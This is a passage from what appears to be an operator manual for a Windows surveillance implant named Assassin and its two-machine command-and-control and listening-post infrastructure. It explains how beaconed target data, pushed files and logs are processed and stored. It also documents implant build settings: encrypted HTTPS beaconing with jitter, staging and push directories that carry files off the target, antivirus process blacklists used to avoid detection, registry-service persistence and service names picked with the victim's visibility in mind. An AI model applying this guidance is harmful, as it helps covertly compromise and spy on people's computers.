The Post Processor and Default Ingester are components of the C2 subsystem that are used to process and store data received from an Implant.

The Post Processor and Ingester require the Assassin Python modules `'assassin'` and `'the_gibson'`. The modules must be located in the Python search path, which includes the directory with the `post_processor.py` and `default_ingester.py` scripts.

## 14.1 Processing Assassin Data

The Post Processor accepts raw, encrypted data files in proprietary Assassin formats. It will decrypt and parse the data, generating XML metadata and arbitrary data files. The results of the Post Processor are output via the Galleon Publish interface (version 1) using custom data type tags `assassin_beacon`, `assassin_result`, and `assassin_push`. The Post Processor can be invoked directly or as a Receive Handler as defined by the Galleon Transport interface (version 1).

The Default Ingester is a Post Handler as defined by the Galleon Publish interface (version 1). When registered with the Publish interface, the Default Ingester accepts published Assassin data and stores it to the file system.

## 14.2 Post Processor Usage

```
post_processor.py [-h] [-i PATH] [-w PATH] [-g PATH] [-r SRC DST]
                  [TARGET_PATH [TARGET_PATH ...]]
```

Post processes Assassin files and outputs them to a Publish interface.

| | |
|---|---|
| `TARGET_PATH` | path to a file or directory containing input data |
| `-i PATH, --implant PATH` | path to a file or directory containing implant receipt xml(s)<br>Overrides value defined in the The Gibson configuration. |
| `-w PATH, --working PATH` | path to the script's working directory<br>Overrides value defined in the The Gibson configuration. |
| `-g PATH, --galleon PATH` | path to a Galleon configuration file<br>Overrides value defined in the The Gibson configuration. |
| `-r SRC DST, --receive SRC DST` | receive from Galleon transport interface (must be last option) |
| `-h, --help` | show the help message and exit |

## 14.3 Default Ingester Usage

```
default_ingester.py [-h] [-o OUTPUT] TYPE_TAG INGEST_PATH [INGEST_PATH ...]
```

Ingests and stores published Assassin data.

| | |
|---|---|
| `TYPE_TAG` | type of data to ingest |
| `INGEST_PATH` | path to a file/directory to ingest |
| `-o OUTPUT, --output OUTPUT` | path to the script's output directory Overrides value defined in the The Gibson configuration. |
| `-h, --help` | show the help message and exit |

## 14.4 Publish Type Tags

Assassin uses three custom data type tags to publish and ingest output data: `assassin_beacon`, `assassin_result`, and `assassin_push`. The Post Processor posts and the Default Ingester accepts posts using these type tags as defined by the Galleon Publish interface (version 1).

### Beacon

The `assassin_beacon` data type tag is used to publish and ingest data contained in an Assassin beacon file. The signature of posts using this type tag is defined as:

```
        POST_HANDLER assassin_beacon <beacon_xml_path>
```

The beacon XML file supplied to the post handler must adhere to the Assassin Beacon XML file format defined in 18 XML Formats.

### Result

The `assassin_result` data type tag is used to publish and ingest data contained in an Assassin task result file. The signature of posts using this type tag is defined as:

```
        POST_HANDLER assassin_result <result_xml_path> [data_path]
```

The result XML file supplied to the post handler must adhere to the Assassin Result XML file format defined in 18 XML Formats. The supplemental data path is optional and may or may not be provided during a post of Assassin results.

### Push

The `assassin_push` data type tag is used to publish and ingest data contained in a file pushed by Assassin through the target Output or Push directories. The signature of posts using this type tag is defined as:

```
        POST_HANDLER assassin_push <push_xml_path> <data_path>
```

The push XML file supplied to the post handler must adhere to the Assassin Push XML file format defined in 18 XML Formats. The supplemental data path is required by the push signature.

## 14.5 Output Directory Layout

- `<target_id>` - Used to group files from the same target
  - `beacon` - Contains all beacons received from target
    - `<beacon_id>` - Contains files generated from one beacon
      `beacon_id` = time beacon processed as ‘`yyyy-mm-ddThh.mm.ss`’
      - `beacon.xml` - XML file of beacon information
  - `result` - Contains all task results received from target
    - `<result_id>` - Contains files generated from one task result
      `result_id` = time result processed as ‘`yyyy-mm-ddThh.mm.ss`’
      - `result.xml` - XML file of result information
      - `data` - Contains extra data generated by result
  - `push` - Contains all files sent from target’s `push` and `output` directories
    - `<push_id>` - Contains files generated from one push event
      `push_id` = time push processed as ‘`yyyy-mm-ddThh.mm.ss`’
      - `push.xml` - XML file of push information
      - `<push_file>` - File that was placed in `push` or `output` directory on target

# 15 Log Collector and Extractor

The Log Collector and Extractor components are used to transfer The Gibson logs from the LP subsystem to the C2 subsystem. The Gibson stores and synchronizes task queues and safety values for each implant through the Queue/Queue Proxy. Operators will typically only use the Queue or Queue Proxy for debugging.

The Log Collector and Extractor require the Assassin Python module '`the_gibson`'. The module must be located in the Python search path, which includes the directory with the `log_collector.py` and `log_extractor.py` scripts.

## 15.1 Transferring Logs

The Gibson provides the Log Collector and Extractor to transfer logs generated on the LP to the C2.

The Log Collector collects log files from a specified directory into a TAR file and deletes the source files. It will collect any file whose name ends with '`.log`' and does not begin with '~'. The collector then transmits the TAR file to the Log Extractor via the Galleon Transport interface (version 1). The Log Collector can be invoked directly or as a Receive Handler as defined by the Galleon Transport interface.

The Log Extractor accepts the TAR file generated by the collector and extracts it to a specified directory. If the extractor is configured to combine the logs, it will sort and append multiple logs of a given type to a combined final log.

## 15.2 Log Collector Usage

```
log_collector.py [-h] [-l DIR] [-d DST] [-s SRC] [-g PATH] [-r SRC DST PATH]
```

Collect and transmit logs for The Gibson.

| | |
|---|---|
| `-l DIR, --log-dir DIR` | path to log directory to collect from Overrides value defined in the The Gibson configuration. |
| `-d DST, --dst-label DST` | destination label for collected logs Overrides value defined in the The Gibson configuration. |
| `-s SRC, --src-label SRC` | source label for collected logs Overrides value defined in the The Gibson configuration. |
| `-g PATH, --galleon PATH` | path to a Galleon configuration file Overrides value defined in the The Gibson configuration. |
| `-r SRC DST PATH, --receive SRC DST PATH` | receive from Galleon Transport interface (must be last option) |
| `-h, --help` | show the help message and exit |

## 15.3 Log Extractor Usage

```
log_extractor.py [-h] [-l DIR] [--combine] [--no-combine] [-g PATH] [-r SRC DST]
                 [LOGS_PATH [LOGS_PATH ...]]
```

Receive and extract logs for The Gibson.

| | |
|---|---|
| `LOGS_PATH` | path to a logs file to extract |
| `-l DIR, --log-dir DIR` | path to log directory to extract to Overrides value defined in the The Gibson configuration. |
| `--combine` | combine the extracted log files Overrides value defined in the The Gibson configuration. |
| `--no-combine` | do not combine the extracted log files Overrides value defined in the The Gibson configuration. |
| `-g PATH, --galleon PATH` | path to a Galleon configuration file Overrides value defined in the The Gibson configuration. |
| `-r SRC DST, --receive SRC DST` | receive from Galleon Transport interface (must be last option) |
| `-h, --help` | show the help message and exit |

## 15.4 Automation

Log collection may be automated by setting a Cron job on the C2 or LP to periodically invoke the collector. A job on the LP can invoke the Log Collector directly. A job on the C2 can invoke the collector by sending it a dummy file via the Galleon Transport interface.

An example of automating log collection from the C2 is provided below. It will invoke the Log Collector on the LP from the C2 every 3 minutes.

***crontab (root)***

```
*/3 * * * * /work/gibson/collect_logs.sh
```

***/work/gibson/collect_logs.sh***

```
#!/bin/bash

# setup environment
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# invoke collector
foo="/work/gibson/foo"
transport="/work/transport/client"

echo foo > $foo
$transport cron logcollect $foo
```

# 16 The Gibson

The Assassin C2 and LP subsystems are referred to collectively as The Gibson. The Gibson represents the configuration and deployment of the Assassin C2 and LP using Galleon Transport and Publish interfaces.

## 16.1 Design

The Gibson is distributed across two machines, the Listening Post (LP) and the Command and Control (C2). The separation between the C2 and LP provides increased security over a one-machine model. Sensitive information and operations are stored and conducted on the C2, which should not directly access or be accessed from the Internet. Activities requiring access to the Internet are conducted on the LP, which should be hardened against attack.

The Gibson requires implementation of two Galleon interfaces. The Galleon Transport interface is used for communication between the C2 and LP. The Galleon Publish interface is used by the C2 to post information from the Assassin implant. Implementations of these interfaces must be provided in order to deploy a The Gibson.

The Gibson C2 hosts the following components: User Interface, Task Generator, Queue Proxy, Post Processor, Default Ingester, and Log Extractor.

The Gibson LP hosts the following components: Beacon Server, Queue, Log Collector.

## 16.2 Scripts

Scripts are provided to install the Assassin subsystems to an instance of The Gibson, save the state of Assassin subsystems, and restore that state. The installation and state scripts are written to conduct or operate on a default installation of The Gibson.

### Install Script

The install script will extract the Assassin binaries to the local machine and generate the required configuration file. The script will also create a user group '`the-gibson`' which it uses to manage system-wide permissions.

On the C2, the script will generate the output directory used by the Default Ingester. On the LP, the script will attempt to identify the web server and add its user to the '`the-gibson`' user group.

`install_assassin.sh CONFIG_PATH [INSTALL_DIR [OUTPUT_DIR]]`

Installs available Assassin subsystems to The Gibson.

The script will search for and install any available Assassin subsystems.

Subsystems:

| | |
|---|---|
| Assassin Builder | requires `./assassin_build` |
| Assassin C2 | requires `./assassin_c2 ./gibconfig.template` |
| Assassin LP | requires `./assassin_lp ./gibconfig.template` |

| | |
|---|---|
| `CONFIG_PATH` | path to Galleon configuration file |
| `INSTALL_DIR` | path to the Assassin install directory (default = `/work/gibson`) |
| `OUTPUT_DIR` | path to the Assassin output directory (default = `/work/assassin_out`) |

`save_assassin.sh STATE_FILE [INSTALL_DIR]`

Saves the state of the installed Assassin subsystems.

The script generates a TAR file containing state information for the subsystems.

| | |
|---|---|
| `STATE_FILE` | path to the output TAR file |
| `INSTALL_DIR` | path to the Assassin install directory (default = `/work/gibson`) |

`restore_assassin.sh STATE_FILE [INSTALL_DIR]`

Restores the state of the installed Assassin subsystems.

The script accepts a TAR file containing state information for the subsystems

| | |
|---|---|
| `STATE_FILE` | path to the input TAR file |
| `INSTALL_DIR` | path to the Assassin install directory (default = |

```
                    /work/gibson)
```

## 16.3 Configuration

The Gibson C2 and LP require a configuration file providing the parameters for each subsystem. The configuration file stores key value pairs that describe the parameters of the C2 or LP.

The configuration file stores one key-value pair per line. The key and value are delimited by one equals sign (=). Empty lines or lines beginning with a hash (#) will be ignored.

The C2 and LP will automatically locate the file when it is installed at `/etc/the-gibson` or relative to the `the_gibson` Python package at `./.gibconfig`. The configuration files are generated automatically by the Assassin installation script and rarely need to be adjusted.

### Basic Configuration

There are basic configuration keys supported by both the C2 and LP. They include:

| | |
|---|---|
| `working_directory` | path to The Gibson's working directory |
| `galleon_configuration` | path to the Galleon configuration file |
| `logging.level` | logging level for The Gibson components |
| `logging.running_directory` | path to directory to store running logs |
| `logging.session_directory` | path to directory to store session logs |

### C2 Configuration

The C2 configuration supports the following keys:

| | |
|---|---|
| `user_interface` | path to User Interface script |
| `user_interface.receipt_directory` | path to Implant receipt directory |
| `task_generator` | path to Task Generator script |
| `queue_proxy` | path to Queue Proxy script |
| `queue_proxy.queue_src_label` | source label for Transport to Queue |
| `queue_proxy.queue_dst_label` | destination label for Transport to Queue |
| `post_processor` | path to Post Processor script |
| `post_processor.receipt_directory` | path to Implant receipt directory |
| `default_ingester` | path to Default Ingester script |
| `default_ingester.output_directory` | path to Assassin output directory |
| `log_extractor` | path to Log Extractor script |
| `log_extractor.extract_to` | path to directory to extract logs |
| `log_extractor.combine` | whether to combine extracted logs |

### LP Configuration

The LP configuration supports the following keys:

| | |
|---|---|
| `queue` | path to Queue script |
| `queue.proxy_src_label` | source label for Transport to Queue Proxy |
| `queue.proxy_dst_label` | destination label for Transport to Queue Proxy |
| `beacon_server` | path to Beacon Server script |
| `beacon_server.src_label` | source label for Transport to Post Processor |
| `beacon_server.dst_label` | destination label for Transport to Post Processor |
| `log_collector` | path to Log Collector script |
| `log_collector.src_label` | source label for Transport to Log Extractor |
| `log_collector.dst_label` | destination label for Transport to Log Extractor |
| `log_collector.collect_from` | path to directory to collect logs |

## 16.4 Logging

The Gibson components generate logs recording their activity. Each component generates their own log files.

Log levels are based on the Python logging levels such that the lower the value, the more verbose the log. The values are mapped to levels as follows:

| Value | Level |
|---|---|
| `10` | debug |
| `20` | info |
| `30` | warn |
| `40` | error |
| `50` | critical |

If the `logging.running_directory` key is defined in the The Gibson configuration, the components will generate a running log in that directory. Log messages are always added to the log file for a given component. The log file will roll over every 1 MB.

If the `logging.session_directory` key is defined in the The Gibson configuration, the components will generate a session log in that directory. A new session log is generated each time a component is invoked. Typically, the session logs are collected using the Log Collector and recombined using the Log Extractor.

# 17 Administrative Procedures

Procedures for the execution of administrative tasks are provided below.

## 17.1 Installing The Gibson

This procedure details the steps required to install an instance of The Gibson.

### Setup C2/LP Machines

The Gibson is intended to operate on two machines, a C2 and an LP. The Gibson was designed for and tested on Scientific Linux virtual machines.

The C2 should be configured to have no direct access to the Internet. Operators will connect to the C2 for all normal operations.

The LP will need to access the Internet and the C2. Due to this exposure, care should be taken to harden the LP against attack. The LP must be configured with a web server for use by the Assassin beacon server.

### Install Galleon Interfaces

The Gibson system requires two Galleon interfaces: Transport v1, Publish v1. The Transport interface is needed on both the C2 and LP; the Publish interface is needed on the C2.

When installing Galleon interfaces, the Galleon configuration file must be updated with their versions and handlers.

### Execute Install Script

Execute the provided The Gibson installation script with the appropriate Assassin subsystems. See section 16.2 on The Gibson scripts for usage.

On the C2, execute `install_assassin.sh` with the `assassin_c2` directory. On the LP, execute `install_assassin.sh` with the `assassin_lp` directory.

TAR files are provided containing machine-appropriate installation packages.

### Register with Transport, Publish

Register the Assassin components with the Transport and Publish interfaces.

The Gibson includes several Transport receivers. Their client labels and receive handlers are described:

| | ***Location*** | ***Client Label*** | ***Handler*** |
|---|---|---|---|
| ***Queue*** | LP | `queue` | `$INSTALL_DIR/queues_receiver.py` |
| ***Queue Proxy*** | C2 | `queueproxy` | `$INSTALL_DIR/queues_proxy_receiver.py` |
| ***Post Processor*** | C2 | `postproc` | `$INSTALL_DIR/post_processor.py --receive` |
| ***Log Collector*** | LP | `logcollect` | `$INSTALL_DIR/log_collector.py --receive` |
| ***Log Extractor*** | C2 | `logextract` | `$INSTALL_DIR/log_extractor.py --receive` |

The Default Ingester must be registered with the Publish interface to ingest the following Type Tags: `assassin_beacon`, `assassin_result`, `assassin_push`.

**Update Web Server**

The web server on the The Gibson LP must be updated to redirect HTTP requests to the Beacon Server component. See section 13.3 on Installation on Apache for an example.

## 17.2 Updating The Gibson

This procedure details the steps required to update an instance of The Gibson.

### Save The Gibson State

On both the C2 and LP, execute the `save_assassin.sh` script to generate a TAR file containing the system state. See section 16.2 on The Gibson scripts for usage.

### Install Updated The Gibson

Execute the updated install script on the C2 and LP.

### Restore The Gibson State

On both the C2 and LP, execute the `restore_assassin.sh` script to extract the TAR files generated previously. See section 16.2 on The Gibson scripts for usage.

# 18 XML Formats

## 18.1 Assassin Beacon XML File Format

During the Assassin beacon cycle, the initial communication with the LP is always a beacon. The beacon includes some basic information about the target and can be useful when debugging communications issues with a target. The section below describes the beacon XML format that Assassin uses.

### XML Example

```
<Beacon version="1.0">
    <TargetID>assn2Rlv</TargetID>
    <TransportID>1</TransportID>
    <CurrentDate>2011-12-12T18:21:22</CurrentDate>
    <ExecuteDate>2011-12-12T17:29:49</ExecuteDate>
    <UninstallOnDate />
</Beacon>
```

### Attribute Definitions

*version*

The version attribute specifies the version of the beacon data format.

### Field Definitions

*TargetID*

The TargetID field contains the target ID of the target uploading the file. It will consist of an eight character string that consists of both the parent and child IDs.

In the example above, the ID provided by the target is “assn2Rlv”, which means the target has a parent ID of “assn.” and a child ID of “2Rlv”.

*TransportID*

The TransportID field contains the index of the current transport being used to communicate with the LP. Cross referencing this with the current transport list definition will provide the operator with all of the information used to communicate with the LP.

In the example above, the transport ID is 1, which means the second configuration in the transport list is being used, due to the list indexing being zero-based.

*CurrentDate*

The CurrentDate field provides the target system time and date at the time the beacon occurred.

In the example above, the target systems current date is “2011-12-12T18:21:22”, or December 12th, 2011 at 6:21:22 PM.

*ExecuteDate*

The ExecuteDate field provides the target system time when the Implant last started.

In the example above, the target systems current date is “2011-12-12T17:29:49”, or December 12th, 2011 at 5:29:49 PM.

*UninstallOnDate*

The UninstallOnDate field provides the target system time when the Implant is set to uninstall. This field is optional and may be blank.

In the example above, the uninstall-on field is blank.

## 18.2 Assassin Configuration / Receipt XML File Format

The Assassin configuration and receipt files follow a similar format and can be used interchangeably. The receipt file consists of all configuration files required to customize a full Assassin build. This includes a combination of implant, extractor, launcher, and service installer configuration values and the build outputs requested/created. This appendix will explain the formatting for each section of the file and provide an examples of each section.

The configuration of the build is stored in a root `<Config>` tag, containing the `<BuildOutputs>`, `<Implant>`, `<Extractor>`, `<Launcher>`, and `<ServiceInstaller>` tags described below.

**XML Example**

```
<Config build_time="2012-03-07T11:22:25" version="1.0">
    <BuildOutputs>...</BuildOutputs>
    <Implant>...</Implant>
    <Extractor>...</Extractor>
    <Launcher>...</Launcher>
    <ServiceInstaller>...</ServiceInstaller>
</Config>
```

**Attribute Definitions**

*build_time*

The build_time attribute specifies the time at which the build was executed and the Assassin executables generated. The time is represented in ISO 9601 format.

*version*

The version attribute specifies the version of the configuration data format.

### 18.2.1 Build Outputs

This section will describe the xml format of the `<BuildOutputs>` tag. This tag is used to set which Assassin types are generated by the Builder or record which types were generated.

#### XML Configuration Example

```
<BuildOutputs>
    <Param>service</Param>
    <Param>injection</Param>
    <Param>executable</Param>
    <Param>run_dll</Param>
    <Param>service_dll</Param>
</BuildOutputs>
```

#### Field Definitions

The `<BuildOutputs>` tag takes a list of `<Param>` tags that specify Assassin types or groups of Assassin types. The valid keywords for the `<Param>` tags are described below.

*service*

The service keyword designates that the Builder will/did generate the service installer executables, including the service extractor and both 32- and 64-bit service installers.

*injection*

The injection keyword designates that the Builder will/did generate the injection executables, including the injection extractor and both 32- and 64-bit injection launchers.

*executable*

The executable keyword designates that the Builder will/did generate the Assassin implant-only executables, including both 32- and 64-bit.

*run_dll*

The run_dll keyword designates that the Builder will/did generate the Assassin implant-only dynamic-link libraries (with RunDll32 entry point), including both 32- and 64-bit.

*service_dll*

The service_dll keyword designates that the Builder will/did generate the Assassin service dynamic-link libraries, including both 32- and 64-bit.

*all*

The all keyword designates that the Builder will/did generate every type of Assassin executable.

### 18.2.2 Implant Configuration

This section will describe the xml formats for all of the configuration values contained under the `<Implant>` XML tag. An example of a complete Implant configuration is below:

**XML Configuration Example**

```
<Implant>
   <ID>
      <Parent>assn</Parent>
      <Child />
   </ID>
   <CryptoKey>00000000000000000000000000000000</CryptoKey>
   <Paths>
      <InputPath>c:\temp\input</InputPath>
      <OutputPath>c:\temp\output</OutputPath>
      <StartupPath>c:\temp\startup</StartupPath>
      <StagingPath>c:\temp\staging</StagingPath>
      <PushPath>c:\temp\push</PushPath>
   </Paths>
   <Blacklist>
      <Prog>avira.exe</Prog>
      <Prog>avg.exe</Prog>
   </Blacklist>
   <Whitelist>
      <Prog>iexplore.exe</Prog>
      <Prog>firefox.exe</Prog>
      <Prog>chrome.exe</Prog>
   </Whitelist>
   <TransportList>
      <Transport type=”HTTPS” tries="2">
         <Host>assassin_lp</Host>
         <Port>443</Port>
         <ProxyCredentials />
      </Transport>
   </TransportList>
   <ChunkSize>1m</ChunkSize>
   <Beacon>
      <BackoffMultiple>1.5</BackoffMultiple>
      <InitialWait>1m</InitialWait>
      <DefaultInterval>1m</DefaultInterval>
      <MaxInterval>5m</MaxInterval>
```

```
        <Jitter>10s</Jitter>
    </Beacon>
    <HibernateSeconds>1m</HibernateSeconds>
    <Uninstall>
        <UninstallTimer />
        <UninstallDate />
    </Uninstall>
    <MaxConsecutiveFails>10</MaxConsecutiveFails>
</Implant>
```

## Field Definitions

*Beacon*

Assassin provides a series of settings to control the beacon timing. Those settings are, the back off multiple, initial wait, default interval, maximum interval, and jitter. The back off multiple is the value to multiply the current beacon interval by when a failure occurs. Generally this value is greater than 1, so the interval will increase with each consecutive failure. The initial wait is the time to wait upon boot before attempting to beacon. The default interval is the standard beacon wait time used when no failures have occurred. This time is also used when a successful communication occurs after a series of failures. The maximum interval defines the absolute maximum value the beacon interval can be set to at any point. Jitter defines the amount of variance to use for each beacon. This value must be less than the default interval.

In the example above, the back off multiple has been set to 1.5, the initial wait is defined as 1 minute, the default interval is 1 minute, the maximum interval is 5 minutes, and the jitter is 10 seconds.

*Blacklist*

The Assassin Implant allows for an optional blacklist of programs to be set. During a beacon attempt, if any of the programs listed in the blacklist are running, and listed in the process list, the beacon will be stopped, and the beacon failure count will be incremented. This will not affect the transport failure count, since the transport was never attempted.

In the example above, the blacklist has the two programs, “avira.exe” and “avg.exe”, added to the list. If either of these shows up in the process list, the beacon will not occur.

*Chunk Size*

The Assassin chunk size is defined as the maximum size of each data file to be sent back to the LP. Any files that are larger than this size will be broken into chunks to meet this requirement. If the chunk size is changed, only new data will be chunked using the new size, existing files will not be re-chunked.

In the example above, the chunk size has been set to 1 mebibyte, using the Assassin complex numbering system.

*Crypto Key*

The Assassin Implant uses RC4 128-bit encryption utilizing a 4-bit nonce to further obfuscate the key. In the example above, the crypto key will be set to all null values. The value stored in XML is a 16-byte hex representation of the key.

In the example above, the crypto key is set to "00000000000000000000000000000000".

*Hibernate*

Assassin allows for an initial hibernation time to be set at build time. This time define the time which the Implant will remain inactive. Once the time has expired, the Implant will begin processing tasks and attempting to communicate with the defined LP.

In the example above, hibernate time has been set to 1 minute using the Assassin complex numbering system.

*ID*

The ID tag contains information describing what the target ID for the configured Implant will be. The ID consists of a parent and child ID, each of which consists of 4 alpha-numeric characters. The parent ID is required and the child ID can be set to be generated automatically at build time if it is left blank.

In the example above, the parent ID will be set to 'assn' and the child ID will be generated on target. The example below shows the XML for a defined child ID:

```
<ID>
            <Parent>assn</Parent>
            <Child>0001</Child>
</ID>
```

In the example above, the child ID is defined as '0001' so the complete ID that will be displayed in the LP is 'assn0001'.

*Paths*

The Assassin Implant uses a series of directories to receive, store, and send data to the assigned LP. The directories required for every Assassin installation are: input, output, startup, staging, and push. The input directory is where all files received from the LP are stored. The output directory is where the task results are stored. The startup directory is where all startup tasks are stored. The staging directory is where all chunked result files are stored, awaiting transport to the LP. The push directory is a special directory provided as a way to push data files from any other source to the LP using the Assassin transport setup.

In the example above, the input directory is set to "c:\temp\input", the output directory is set to "c:\temp\output", the startup directory is set to "c:\temp\startup", the staging directory is set to "c:\temp\staging" and the push directory is set to "c:\temp\push".

*Max Consecutive Fails*

In Assassin, the maximum consecutive failures are the number of consecutive beacon attempts that have not resulted in a successful beacon. These failures can be due to a blacklist / whitelist failure or a failed transport attempt. Once this count is reached the Implant will uninstall.

In the example above, the maximum consecutive failures has been set to 10.

*Transport List*

The TransportList tag contains an ordered list of Transport tags defining the members of the list.. The Assassin transports list size is limited to a compiled size of 768 bytes.

Transport

The Transport tag specifies the configuration of one transport in the transport list.

*Attribute Definitions*

type

The type attribute defines the type of transport being defined. Assassin v1.4 supports the HTTPS transport.

tries

The tries attribute specifies the number of times the transport will be attempted for communication before failing over to the next configured transport in the list.

*Field Definitions*

Host

The host tag specifies the domain name or IP address of the listening post or redirector to which the transport should send comms traffic. This tag is used for the HTTPS transport type.

Port

The port tag defines the TCP port to which the transport should send comms traffic. This tag is only used for HTTPS transport types.

ProxyCredentials

The proxy credentials tag is used to define credentials to pass to an authenticating proxy during communication. If configured, the tag will include two sub-tags, Username and Password. This tag is only used for HTTPS transport types.

In the example above, we have defined one transport over HTTPS. The HTTPS configuration allows for two failures, and it will attempt to communicate to the host "assassin_lp". It will attempt this communication on port 443 and it doesn’t have any proxy credentials provided.

*Uninstall*

Assassin provides two methods for defining when to uninstall the target. The uninstall time can be defined with a specific time and date, or with a set number of seconds. The shorter of the two will be used. Both of these values are optional, and can be changed later using a task.

In the example above, the number of seconds before uninstall has been defined as 5 days using the Assassin complex numbering system, and the uninstall date has been set to the 12th of December 2012.

*Whitelist*

The Assassin Implant allows for an optional whitelist of programs to be set. During a beacon attempt, at least one program in the whitelist must be running and listed in the process list for a beacon to occur. If a required program isn't running, the beacon will not occur, and the beacon failure count will be incremented. This will not affect the transport failure count, since the transport was never attempted. An example of the XML for the blacklist is shown below:

In the example above, there are no values defined for the list, disabling the whitelist. The example below shows the XML for a populated whitelist:

```
<Whitelist>
            <Prog>iexplore.exe</Prog>
            <Prog>firefox.exe</Prog>
            <Prog>chrome.exe</Prog>
</Whitelist >
```

In the example above, the blacklist has the three programs, “iexplore.exe”, “firefox.exe”, and “chrome.exe”, added to the list. If either of these shows up in the process list, the beacon will not occur.

### 18.2.3 Launcher Configuration

This section will describe the xml formats for all of the configuration values contained under the `<Launcher>` XML tag. An example of a complete launcher configuration is shown below:

**XML Configuration Example**

```
<Launcher bits="32">

    <StartNow />

    <InstallPersistence />

    <RegKeyPath>SYSTEM\CurrentControlSet\Services\TestPath</RegKeyPath>

    <RegistryDescription>Assassin 32-bit</RegistryDescription>

    <RegistryName>Implanted</RegistryName>

    <DllPath>c:\temp\32\32assn.dll</DllPath>

</Launcher>
```

**Attribute Definitions**

*bits*

The bits attribute defines the bitness of the launcher being configured, either 32 or 64. If the attribute is omitted, the configuration is assumed for all bitnesses.

**Field Definitions**

*Start Now*

The start now flag tells the builder to configure the Implant to automatically start if the permissions at install time are at SYSTEM level.

The start now flag has no parameters, and if found in the configuration file, the Implant will be configured to start immediately.

*Install Persistence*

The install persistence flag tells the builder to configure the Extractor to install the associated injection persistence method at install time. If this flag is not set, the Implant will have no persistence mechanism, and it will not start on reboot.

The install persistence flag has no parameters, and if found in the configuration file, the Implant will be configured to install the persistence mechanism.

*Registry Key Path*

The registry key path field describes the registry entry that will be used to store the values required for persistence. The default is to store the entries under “SYSTEM\CurrentControlSet\Services\”.However, if the user provides the full path, any other path can be set.

In the example above, the registry key path value will be set to “SYSTEM\CurrentControlSet\Services\TestPath”.

*Registry Description*

The registry description field defines the overt description of the service that will be used to start the Launcher. This value can be seen by the user and should be set taking that into account.

In the example above, the registry description field will be set to “Assassin 32-bit”

*Registry Name*

The registry name field defines the overt name that will show up in the services list in windows. This value can be easily seen by the user and should be set taking that into account.

In the example above, the registry name field will be set to “Implanted”.

*DLL Path*

The DLL path field defines the path that the launcher specific DLL will be copied to. If the directory doesn’t exist, it will be created, however it will not be deleted during uninstall. Therefore, it is recommended that an existing directory is used for this value.

In the example above, the DLL will be copied to “c:\temp\32\32assn.dll”.

### 18.2.4 Extractor Configuration

This section will describe the xml formats for all of the configuration values contained under the `<Extractor>` XML tag. The extractor configuration is used for the Injection Extractor. An example of a complete Extractor configuration is shown below:

#### XML Configuration Example

```
<Extractor>
   <Path32>c:\temp\launcher32.exe</Path32>
   <Path64>c:\temp\launcher64.exe</Path64>
</Extractor>
```

#### Field Definitions

*32-bit Launcher Path*

The 32-bit launcher path is the path where the launcher will be copied to once the Extractor runs. It will only be used if the Extractor is running on a 32-bit system, and if the directories don’t exist, they will be created. However, during uninstall; only the launcher file will be deleted, so it is recommended that a directory that already exists on target is used

In the example above, the 32-bit launcher path will be copied to “c:\temp\launcher32.exe”.

*64-bit Launcher Path*

The 64-bit launcher path is the path where the launcher will be copied to once the Extractor runs. It will only be used if the Extractor is running on a 64-bit system, and if the directories don’t exist, they will be created. However, during uninstall; only the launcher file will be deleted, so it is recommended that a directory that already exists on target is used.

In the example above, the 64-bit launcher path will be copied to “c:\temp\launcher64.exe”.

### 18.2.5 ServiceInstaller Configuration

This section will describe the xml formats for all of the configuration values contained under the `<ServiceInstaller>` XML tag. An example of a complete service installer configuration is shown below:

#### XML Configuration Example

```
<ServiceInstaller bits="64">
   <RegKeyPath>SYSTEM\CurrentControlSet\Services\TestPath</RegKeyPath>
   <RegistryDescription>Assassin 64-bit</RegistryDescription>
   <RegistryName>Implanted</RegistryName>
   <DllPath>c:\temp\64\64assn.dll</DllPath>
</ServiceInstaller>
```

#### Attribute Definitions

*bits*

The bits attribute defines the bitness of the installer being configured, either 32 or 64. If the attribute is omitted, the configuration is assumed for all bitnesses.

#### Field Definitions

*Registry Key Path*

The registry key path field describes the registry entry that will be used to store the values required for persistence. The default is to store the entries under “SYSTEM\CurrentControlSet\Services\”.However, if the user provides the full path, any other path can be set.

In the example above, the registry key path value will be set to “SYSTEM\CurrentControlSet\Services\TestPath”.

*Registry Description*

The registry description field defines the overt description of the service that will be used to start the Launcher. This value can be seen by the user and should be set taking that into account.

In the example above, the registry description field will be set to “Assassin 64-bit”

*Registry Name*

The registry name field defines the overt name that will show up in the services list in windows. This value can be easily seen by the user and should be set taking that into account.

In the example above, the registry name field will be set to “Implanted”.

*DLL Path*

The DLL path field defines the path that the launcher specific DLL will be copied to. If the directory doesn’t exist, it will be created, however it will not be deleted during uninstall. Therefore, it is recommended that an existing directory is used for this value.

In the example above, the DLL will be copied to “c:\temp\64\64assn.dll”.

## 18.3 Assassin Metadata XML Formats

All Assassin files uploaded to the LP contain metadata information. The metadata contains information about both the target uploading the data and the file that was sent. This section will explain the formatting for the metadata XML block. The metadata XML block will be the first information contained in the XML data for all result and push files.

**XML Example**

```
<Metadata version="1.0">
   <ID>assn2Rlv</ID>
   <MetadataSize>102</MetadataSize>
   <FileSize>1596</FileSize>
   <InputTime>2011-12-12T18:26:26</InputTime>
   <FileName>c:\temp\output\eQX4BrOEtBJ.9JUaU1</FileName>
   <FromImplant />
</Metadata>
```

**Attribute Definitions**

*version*

The version attribute specifies the version of the metadata data format.

**Field Definitions**

*ID*

The ID field contains the target ID of the target uploading the file. It will consist of eight character string that consists of both the parent and child ids.

In the example above, the ID provided by the target is “assn2Rlv”, which means the target has a parent ID of “assn.” and a child ID of “2Rlv”.

*MetadataSize*

The metadata size is the size of the metadata that was provided in the uploaded file.

In the example above, the metadata size provided by the target is 102 bytes.

*FileSize*

The FileSize field provided the size of the file that was uploaded to the LP.

In the example above, the size of the uploaded data file was 1596 bytes.

*ImputTime*

The InputTime field provided the time and data on the target system that the file was uploaded to the LP.

In the example above, the input time was set to: “2011-12-12T18:26:26”, aka December 12th, 2011 at 6:26:26 PM.

*FileName*

The FileName field contains the full path of the file uploaded from the target. The path is the path on the remote system, and has no relation to where the file will be located on the LP.

In the example above, the file name is “c:\temp\output\eQX4BrOEtBJ.9JUaU1”

*FromImplant*

The FromImplant field is an optional field that denotes whether or not the file originated from the target implant, or from the push directory. If the field exists in the XML, it is from the Implant.

In the example above, the file uploaded to the LP originated from the Implant.

## 18.4 Assassin Push File XML Formats

